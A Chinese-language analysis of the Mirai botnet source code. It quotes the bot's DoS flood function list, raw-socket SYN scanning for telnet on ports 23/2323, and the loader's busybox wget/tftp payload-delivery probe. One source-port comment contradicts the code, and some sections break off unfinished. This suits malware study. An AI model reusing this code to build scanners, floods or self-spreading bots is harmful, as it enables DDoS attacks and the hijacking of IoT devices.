Mirai 源码分析学习
1. 总体架构
选此次分析的Mirai源码(https://github.com/jgamblin/Mirai-Source-Code )主要包含loader、payload(bot)、cnc和tools四部分内容:
- loader/src:将payload上传到受感染的设备
- mirai/bot:在受感染设备上运行的恶意payload
- mirai/cnc:恶意者进行控制和管理的接口
- mirai/tools:提供的一些工具
2. mirai/bot
这部分代码的主要功能是发起DoS攻击以及扫描其它可能受感染的设备,代码在mirai/bot目录,可简单划分为如下几个模块:
0x1:public模块
主要是一些常用的公共函数,供其它几个模块调用:
1、checksum.c
/******checksum.c****** *构造数据包原始套接字时会用到校验和的计算 */ //计算数据包ip头中的校验和 uint16_t checksum_generic(uint16_t *, uint32_t); //计算数据包tcp头中的校验和 uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int); /******rand.c******/ //初始化随机数因子 void rand_init(void); //生成一个随机数 uint32_t rand_next(void); //生成特定长度的随机字符串 void rand_str(char *, int); //生成包含数字字母的特定长度的随机字符串 void rand_alphastr(uint8_t *, int);
2、resolv.c
/******resolv.c****** *处理域名的解析,参考DNS报文格式 */ //域名按字符'.'进行划分,并保存各段长度,构造DNS请求包时会用到 void resolv_domain_to_hostname(char *, char *); //处理DNS响应包中的解析结果,可参照DNS数据包结构 static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count); //构造DNS请求包向8.8.8.8进行域名解析,并获取响应包中的IP struct resolv_entries *resolv_lookup(char *); //释放用来保存域名解析结果的空间 void resolv_entries_free(struct resolv_entries *);
0x2:attack模块
此模块的作用就是解析下发的攻击命令并发动DoS攻击,attack.c中主要就是下述两个函数:
/******attack.c******/ //按照事先约定的格式解析下发的攻击命令,即取出攻击参数 void attack_parse(char *buf, int len); //调用相应的DoS攻击函数 void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { ...... else if (pid2 == 0) { //父进程DoS持续时间到了后由子进程负责kill掉 sleep(duration); kill(getppid(), 9); exit(0); } ...... if (methods[i]->vector == vector) { #ifdef DEBUG printf("[attack] Starting attack...\n"); #endif //C语言函数指针实现的C++多态 methods[i]->func(targs_len, targs, opts_len, opts); break; } } ...... } }
而attack_app.c、attack_gre.c、attack_tcp.c和attack_udp.c中实现了具体的DoS攻击函数:
/*1)Straight up UDP flood 2)Valve Source Engine query flood * 3)DNS water torture 4)Plain UDP flood optimized for speed */ void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *); /*1)SYN flood with options 2)ACK flood * 3)ACK flood to bypass mitigation devices */ void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *); // 1)GRE IP flood 2)GRE Ethernet flood void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *); // HTTP layer 7 flood void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
0x3:scanner模块
其功能就是扫描其它可能受感染的设备,如果能满足telnet弱口令登录则将结果进行上报,恶意者主要借此扩张僵尸网络。
1、scanner.c代码分析
扫描模块对应的源文件为 scanner.h/scanner.c,核心函数为 scanner_init(),SYN 扫描、Telnet 爆破、回传扫描结果等操作都在该函数内完成。
1)初始化准备
- 开启扫描子进程,获取本机 IPV4 地址,初始化随机地址函数,初始化连接信息列表。
scanner_pid = fork(); // 开启扫描子进程 if (scanner_pid > 0 || scanner_pid == -1) return; LOCAL_ADDR = util_local_addr(); // 连接 8.8.8.8 DNS 服务,通过 fd 拿到本机地址 rand_init(); // 初始化随机种子函数 fake_time = time(NULL); /* 为连接信息数组分配内存,数组长度为 128。struct scanner_connection 定义在 scanner.h 文件,主要记录扫描主机的地址,扫描阶段状态值,Telnet 用户密码信息*/ conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection)); for (i = 0; i < SCANNER_MAX_CONNS; i++) { conn_table[i].state = SC_CLOSED; // 初始为状态 conn_table[i].fd = -1; }
- 使用原始套接字技术(raw socket),设置网络文件状态,填充 IP 头信息,填充 TCP 头信息:
if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) // 获取原始套接字,IP 协议 { exit(0); } fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0)); // 设置套接字为非阻塞 i = 1; /* IP_HDRINCL,那么必须手工填充每个发送数据包的源 IP 地址 */ if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0) { close(rsck); exit(0); } do { source_port = rand_next() & 0xffff; } while (ntohs(source_port) < 1024); // 仅仅用1024以下的源端口 iph = (struct iphdr *)scanner_rawpkt; tcph = (struct tcphdr *)(iph + 1); // Set up IPv4 header iph->ihl = 5; iph->version = 4; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr)); iph->id = rand_next(); iph->ttl = 64; iph->protocol = IPPROTO_TCP; // Set up TCP header tcph->dest = htons(23); tcph->source = source_port; // 固定源端口扫描 tcph->doff = 5; tcph->window = rand_next() & 0xffff; tcph->syn = TRUE; // SYN 数据包
2)存活主机扫描
- 批量发送 SYN 数据包,无状态接收返回数据,筛选存活的主机
if (fake_time != last_spew) { last_spew = fake_time; /* 批量发送 SYN 数据包,每次160个,SCANNER_RAW_PPS 默认为160*/ for (i = 0; i < SCANNER_RAW_PPS; i++) { struct sockaddr_in paddr = {0}; struct iphdr *iph = (struct iphdr *)scanner_rawpkt; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); iph->id = rand_next(); iph->saddr = LOCAL_ADDR; iph->daddr = get_random_ip(); // 随机生成目标地址,并对特殊地址进行了过滤 iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); /* 扫描23 或 2323 端口*/ if (i % 10 == 0) { tcph->dest = htons(2323); } else { tcph->dest = htons(23); } tcph->seq = iph->daddr; tcph->check = 0; tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr)); paddr.sin_family = AF_INET; paddr.sin_addr.s_addr = iph->daddr; paddr.sin_port = tcph->dest; // 发送数据包,MSG_NOSIGNAL 禁止 send 函数向系统发送异常消息 sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr)); } } // Read packets from raw socket to get SYN+ACKs last_avail_conn = 0; while (TRUE) { int n; char dgram[1514]; struct iphdr *iph = (struct iphdr *)dgram; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); struct scanner_connection *conn; errno = 0; // 无状态循环接收消息 n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL); // 退出条件 if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK) break; /* 实现高效扫描的核心筛选代码 */ if (n < sizeof(struct iphdr) + sizeof(struct tcphdr)) // 不完全数据 continue; if (iph->daddr != LOCAL_ADDR) continue; if (iph->protocol != IPPROTO_TCP) continue; if (tcph->source != htons(23) && tcph->source != htons(2323)) continue; if (tcph->dest != source_port) continue; if (!tcph->syn) continue; if (!tcph->ack) continue; if (tcph->rst) continue; if (tcph->fin) continue; if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr) continue; /* 存活的设备,存到连接信息数组,改变数组的状态标志, 表示已使用*/ conn = NULL; for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++) { if (conn_table[n].state == SC_CLOSED) { conn = &conn_table[n]; last_avail_conn = n; break; } } // If there were no slots, then no point reading any more if (conn == NULL) break; // 保存设备地址和端口号 conn->dst_addr = iph->saddr; conn->dst_port = tcph->source; setup_connection(conn); // 连接存活目标设备 }
2、scanner.c总流程
scanner.c中的主要函数如下:
/******scanner.c******/ //将接收到的空字符替换为'A' int recv_strip_null(int sock, void *buf, int len, int flags); //首先生成随机ip,而后随机选择字典中的用户名密码组合进行telnet登录测试 void scanner_init(void); //如果扫描的随机ip有回应,则建立正式连接 static void setup_connection(struct scanner_connection *conn); //获取随机ip地址,特殊ip段除外 static ipv4_t get_random_ip(void); //向auth_table中添加字典数据 static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight); //随机返回一条auth_table中的记录 static struct scanner_auth *random_auth_entry(void); //上报成功的扫描结果 static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth); //对字典中的字符串进行异或解密 static char *deobf(char *str, int *len);
为了提高扫描效率,程序对随机生成的IP会先通过构造的原始套接字进行试探性连接,如果有回应才进行后续的telnet登录测试。
如果扫描的随机ip有回应,则建立正式连接
扫描模块使用了单进程模式,通过fork出一个子进程,单独进行scanner逻辑:
扫描模块采用select机制,实现异步socket IO
在感染后,会进行一些清理和初始化工作,随后开始启动蠕虫扫描:
0x4:loader分析
这部分代码的功能就是向感染设备上传(wget、tftp、echo方式)对应架构的payload文件,loader/src的目录结构如下:
- headers/:头文件目录
- binary.c:将bins目录下的文件读取到内存中,以echo方式上传payload文件时用到
- connection.c:判断loader和感染设备telnet交互过程中的状态信息
- main.c:loader主函数
- server.c:向感染设备发起telnet交互,上传payload文件
- telnet_info.c:解析约定格式的telnet信息
- util.c:一些常用的公共函数
1、binary.c
/******binary.c******/ //bin_list初始化,读取所有bins/dlr.*文件 BOOL binary_init(void) { ...... //匹配所有bins/dlr.*文件,结果存放pglob if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0) ...... } //按照不同体系架构获取相应的二进制文件 struct binary *binary_get_by_arch(char *arch); //将指定的二进制文件读取到内存中 static BOOL load(struct binary *bin, char *fname);
即将编译好的不同体系架构的二进制文件读取到内存中,当loader和感染设备建立telnet连接后,如果不得不通过echo命令来上传payload,那么这些数据就会用到了。
但是在默认情况下,loader会通过wget、busybox、curl、ftp等其他手段,进行样本投递,所以这里就会涉及
2、telnet_info.c
/******telnet_info.c******/ //初始化telnet_info结构的变量 struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info); //解析节点的telnet信息,提取相关参数 struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);
即解析telnet信息格式并存到telnet_info结构体中,通过获取这些信息就可以和受害者设备建立telnet连接了。
3、connection.c
connection.c文件中的函数,主要用来判断telnet交互中的状态信息,如下,只列出部分:
/******connection.c******/ //判断telnet连接是否顺利建立,若成功则发送回包 int connection_consume_iacs(struct connection *conn); //判断是否收到login提示信息 int connection_consume_login_prompt(struct connection *conn); //判断是否收到password提示信息 int connection_consume_password_prompt(struct connection *conn); //根据ps命令返回结果kill掉某些特殊进程 int connection_consume_psoutput(struct connection *conn); //判断系统的体系架构,即解析ELF文件头 int connection_consume_arch(struct connection *conn); //判断采用哪种方式上传payload(wget、tftp、echo) int connection_consume_upload_methods(struct connection *conn); //判断drop的payload是否成功运行 int connection_verify_payload(struct connection *conn); //对应的telnet连接状态为枚举类型 enum { TELNET_CLOSED, // 0 TELNET_CONNECTING, // 1 TELNET_READ_IACS, // 2 TELNET_USER_PROMPT, // 3 TELNET_PASS_PROMPT, // 4 ...... TELNET_RUN_BINARY, // 18 TELNET_CLEANUP // 19 } state_telnet;
指令执行部分特别关注一下:
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); //用在其它命令后作为一种标记,可判断之前的命令是否执行 #define TOKEN_QUERY "/bin/busybox ECCHI" //如果回包中有如下提示,则之前的命令执行了 #define TOKEN_RESPONSE "ECCHI: applet not found"
至此我们已经知道如何将不同架构的二进制文件读到内存中、如何获取待感染设备的telnet信息以及如何判断telnet交互过程中的状态信息。
0x5:kill模块
https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/
http://blog.nsfocus.net/mirai-source-analysis-report/
https://zhuanlan.zhihu.com/p/35054636